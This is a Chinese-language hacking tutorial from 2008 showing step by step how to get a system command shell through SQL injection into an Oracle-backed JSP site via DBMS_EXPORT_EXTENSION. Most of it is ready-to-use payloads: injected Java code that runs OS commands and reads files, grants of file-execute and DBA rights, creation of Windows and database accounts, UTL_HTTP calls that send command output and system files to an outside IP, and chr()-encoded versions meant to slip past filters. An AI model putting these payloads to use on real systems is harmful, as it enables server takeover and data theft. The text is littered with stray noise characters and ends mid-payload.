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% C9 L) D X7 b' i2 e介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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4 G C! O! T+ P9 M* }" ~$ j9 V/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)% q" G" n/ O% o
) U1 a; ~( J0 {! ?9 @" w6 \的形式即可。(用" 'a'|| "是为了让语句返回true值)
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7 s" O+ o( k1 f# ^: h语句有点长,可能要用post提交。
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以下是各个步骤:- j) [2 Y% B5 j% P' X
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1.创建包/ V( P( \; Y) L" f- _' k
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 _1 F, I. b @* \
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(8 P3 r A' M4 v2 }0 C
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
7 D1 D# H& p2 d2 \}'''';END;'';END;--','SYS',0,'1',0) from dual
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如果url有长度限制,可以把readFile()函数块去掉,即:
: R; l: G$ @6 k/xxx.jsp?id=1 and '1'<>'a'||(4 R9 V8 T+ O4 F
% D; q x! V Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 f2 P' t% m/ r0 [create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(2 p& X; h9 Y4 l
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}' H5 y6 J5 s5 q5 n$ d6 A6 W% B8 T4 K
}'''';END;'';END;--','SYS',0,'1',0) from dual
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) D8 L ~& W( V1 w5 z( ]. X' E* I同时把后面步骤 提到的 对readFile()的处理语句去掉。
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2.赋Java权限% }4 E1 B& B" B" t. _) K
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual8 V3 N+ G/ u5 k
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3.创建函数' \4 A6 `6 W4 R+ S7 ]. h# u) a8 V
+ V# `' g# Y) i4 o, R" O. mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': {, |4 ~ ?& E, [
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ q G$ L( `- E
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual6 r1 I1 g: e( l/ A `8 n
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4.赋public执行函数的权限3 ?6 |% ^+ S% a7 \: z" Q! | [
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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5.测试上面的几步是否成功
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! p2 J% l2 z3 y" g. g9 I3 lselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'9 u0 Q9 Z' K' @& g
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and '1'<>(" r( \# {, @+ a( c3 H1 _" m
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'# A1 W* L, g! y/ d9 f, [
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6.执行命令:4 t, G4 z2 `* K+ Y! a5 n: O) m7 F
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/xxx.jsp?id=1 and '1'<>(6 j' p2 W# K3 x* C3 J, O! D
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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, Y& m5 h4 N3 F. n5 N5 Pselect sys.LinxReadFile('c:/boot.ini') from dual
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+ y, q: ?/ I4 h& q2 C7 M注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
$ b/ }) F! V3 m5 l4 [& u. B如果要查看运行结果可以用 union :5 j0 }; E' z7 d# }) y5 `
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual" a" D, Y u, z* X* ]
2 q$ B/ n- e( K* ~$ h2 ?- f或者UTL_HTTP.request(:" z1 ?: P( T! e. c! t; ~* h# s
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/xxx.jsp?id=1 and '1'<>(. i) J$ g0 ?# J5 c8 z
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual. z- B* {. {1 b1 Q$ a) i: `$ X5 k
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/xxx.jsp?id=1 and '1'<>(
" U1 V6 U3 a3 U7 D m6 qSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual5 O3 ^ v7 ]& {9 w8 X
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. c& N2 D7 K" S" d7 [; J C注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。) Z& v; g7 d6 o
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4 y7 d5 ^+ K8 F7 j, f+ \ A b8 I6.内部变化
7 C: r- F8 Q2 ^7 _( n1 Y7 |7 d# E通过以下命令可以查看all_objects表达改变:
! {5 E0 b. m& L: z' o% D" _& W" Oselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数
+ M# b/ B& \2 R D4 t! ?/ g# _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 a) N/ N! q" O8 N8 Y/ }0 d# Ydrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual7 H- G1 N M6 b% s0 x
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====================================================
1 j1 L- W) z j$ _7 p. z2 H全文结束。谨以此文赠与我的朋友。& d L/ g0 Z) |: O
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linx/ K( l2 ?! r' z1 ^+ V) x5 f) `
124829445( h! f/ _9 w d. p5 k/ x& c
2008.1.12
}! ^; c, n9 i: q8 \, c4 _linyujian@bjfu.edu.cn
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======================================================================! Z2 H' |% X/ ~: ]
1 {, K" v, N# E( v测试漏洞的另一方法:. Q; y$ W$ y9 F$ g2 s3 ^
: _( Y: O `! v; j6 }创建oracle帐号:3 L+ U1 w7 |# @& |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ ` B2 m, c& D5 u) [8 v- G, Q
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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即:
5 G6 F: B& [2 A# ~# \( d8 v) j0 Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
$ ?% [! ]! [' n0 v7 Q+ Nchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual0 F A! C$ X& ?2 B. K9 C; Y+ j
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确定漏洞存在:; E& _1 F2 k$ T! z0 ^
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select user_id from all_users where username='LINXSQL'; j: f0 q4 B9 I& a0 ~/ y
)
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给linxsql连接权限:7 l3 U" f5 A# Y, N8 L1 Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 M1 ]- }5 G' e m% N8 D! ^& bGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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5 d( t7 `; h1 Q( H' O; [, K( \! m9 e" v删除帐号:
6 G% H- C4 ]8 u8 k' ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! |; A+ U3 k- S* s
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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* \" ~* L; _) b7 e, e4 L# G======================
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0 u4 r" w r# D4 E( l' e以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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1.jsp?id=1 and '1'<>(- }$ a. W% c( }5 C& f5 M, j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# i6 o6 X- `' B; Q
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual$ q0 ^9 |5 p5 W' h8 \
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1.jsp?id=1 and '1'<>(: R( M' O$ e, h2 ~/ n# z: @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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2 d) ^; V1 ]. U- u% m$ }! ^1 A1 P+ n1.jsp?id=1 and '1'<>(% M% z2 V+ E+ @$ a7 j$ } Y
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
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1.jsp?id=1 and '1'<>(4 S) T; P9 i% }3 J
SELECT sys.Linx_Query('declare pragma. L6 c. Q0 k+ ]9 V
autonomous_transaction; begin execute immediate ''1 r. o# i" c" J' B: r$ }9 W& c3 D
select 1 from dual% Q$ [# C/ V9 q8 R) f
''; commit; end;') from dual
N* P- b/ D* @9 B& S) and ...
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9 [3 y4 Y: A, L, i# K, G; k多语句:
. \* K& P9 l/ \SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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创建用户(除非当前用户有system权限,否则无法成功):
" Q3 m) q) G1 |( xSELECT sys.Linx_Query('declare pragma% | h/ I W) Q
autonomous_transaction; begin execute immediate ''$ y. I+ _( H; q
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
# @4 I. \" P& F) Y' k' z''; commit; end;') from dual
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================
3 u8 |( u) w9 }6 P) ? K以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()" K* h1 ~$ L% |+ B1 W
8 @0 W; f+ ]7 T5 B& I' i1.创建函数
' {+ d' Z3 n, Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ R& @8 ^( h& |4 m6 F7 H; J: p* Icreate or replace function Linx_Query (p
3 J0 I; [* O" p; evarchar2) return number authid current_user is begin execute immediate- T3 `4 J3 u! X5 d+ y' S
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;/ m1 b# ^4 t v5 i) r) u/ ^
1 W+ a2 ~" S$ u如果有权限,以下语句应该允许正常# H( a2 ^5 w9 \& l. ~' ?
select sys.linx_query('select 1 from dual') from dual;
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7 O5 } Y5 a/ l) f% l不然的话运行:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 y+ N5 l/ G: ?) [$ ]; t% o
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual2 E. x. m( [: N9 ]2 |( K
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2.创建包: d$ N2 d: p( h4 j6 t
SELECT sys.Linx_Query('declare pragma
! ?$ Q t# w7 @. N6 e! w% c' Lautonomous_transaction; begin execute immediate ''
. b7 Q, L# R( m4 Y# Icreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
) d' A& F& H# P5 U+ ~0 ?. J Ynew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual/ I& R/ W* h2 w. p/ l2 g
& \- k/ I( d* G0 @# F6 M3.创建函数; @( }2 N' \; ~3 B( T" w" }
SELECT sys.Linx_Query('declare pragma! [5 ^( y- v, `, e* {& |6 Q6 w8 k
autonomous_transaction; begin execute immediate ''2 z2 M' S0 H% q4 j. O! Q. {
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual3 Y$ f2 J. Y6 E" b X
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4.给权限1 f: g f% o8 W* ~! l, ^
给用户SYSTEM执行权限:( G0 |; h) G! w3 } y
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SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
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2 j. W8 D+ B2 U5 U2 [7 g# S9 F. ^9 F
5 {3 Z" C/ h" T3 X( l5.执行函数
% {( L2 d( R! }- pselect RunCMD2('cmd /c dir') from dual% x7 \. x0 B& g! [0 n' m
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7 ]% q9 U5 e+ q# ^4 [==================
0 P* [& Y8 Z* z P. [( B* U================================8 w$ b' a! W9 F/ }
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以下是无 " ' " 版:2 t' z! ]) `- u6 Z& |- D
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以下是各个步骤:# A& O9 V( v$ L8 C6 A
% X4 ~0 Z: N* j! O6 y @
1.创建包3 G7 P! X5 z X, R9 c+ C
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:# G$ a8 u0 r* ]. m
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
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/xxx.jsp?id=1 and chr(49)<>chr(50)||(
8 U6 Q0 S: ^. l9 \$ ? ^7 Y& C* w4 v7 F! ^# S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),3 m" ^7 d- y. B: E* O
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
6 h/ I: F5 x( r! q( \0 j( R$ fchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||% Y% U3 [" f8 g% \0 _' K
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||, \- ], c y* O
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||- F: @4 |& P( {0 \" J
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
/ E! x% T5 N4 e! ?4 p$ ^8 e- ~1 q* gchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||3 c6 A, ? Q- J9 @3 r# ^
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
" m, G2 T. b# Q3 o& Fchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||7 q( A4 V0 V* p4 z& l
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
3 p2 y' ]4 a% H$ Zchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
" ]+ \1 W! K% Z2 `chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||2 w4 t; b I/ d
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||& D$ U+ a* h& _) ^# R
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
/ m, m+ ?$ _3 A; a& D) x$ Uchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||" E3 X$ V" ?1 P* x% v
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||) j) h4 R9 h2 E4 _# n7 w' x+ f
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||3 } s2 z; B6 G. h
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
# z9 _( G5 Q0 @4 ~: ~/ ochr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
# K) u. U) K1 \, r# Xchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
: ^7 R' `0 d2 z8 cchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||& ?: c; b2 A) |- a
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
8 R& q7 {5 h" }: l2 C3 F9 Ychr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
" u, t% y7 ]5 d9 \) H& X; @chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
* D k T, Q, ?/ kchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||$ M- t0 P" d0 H! `
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
! Z7 e- A# @2 R* ]# R; qchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
( V8 z) e \; C' z `* M; r/ D uchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
